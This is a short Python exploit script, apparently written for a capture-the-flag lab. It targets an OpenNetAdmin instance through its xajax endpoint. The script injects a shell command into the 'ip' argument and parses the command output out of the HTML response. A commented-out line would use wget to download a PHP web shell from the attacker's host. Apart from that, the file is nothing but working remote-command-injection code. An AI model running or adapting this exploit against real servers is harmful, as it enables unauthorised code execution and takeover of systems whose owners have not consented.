import requests
from bs4 import BeautifulSoup as bs

url = "http://10.10.10.171/ona/"
# url = "http://localhost:8081/ona/"

print("[*] Request URL:", url)

cmd = "ls -lisa"
# cmd = "wget http://10.10.14.4:8000/cmd.php"
payload = f"ip=>;echo \"\nSTART\";{cmd};echo \"\nEND\";"

data = {
    "xajax": "window_submit",
    "xajaxr": "1574117726710",
    "xajaxargs[]": [
        "tooltips",
        payload,
        "ping"
    ]
}

print("[*] Request payload:", data)

r = requests.post(url, data=data)
r.raw.decode_content = True

print("[*] Response:", r.status_code)
print("[*] Payload success:", "meow" in r.text)


soup = bs(r.text, "lxml")

all_lines = soup.text.split('\n')

start = None
end = None

for i, line in enumerate(all_lines):
    if "START" in line:
        start = i
    if "END" in line:
        end = i

if not end:
    end = start + 100

print("[*] Command output:")
for i, line in enumerate(all_lines):
    if i > start and i < end:
        print(line)
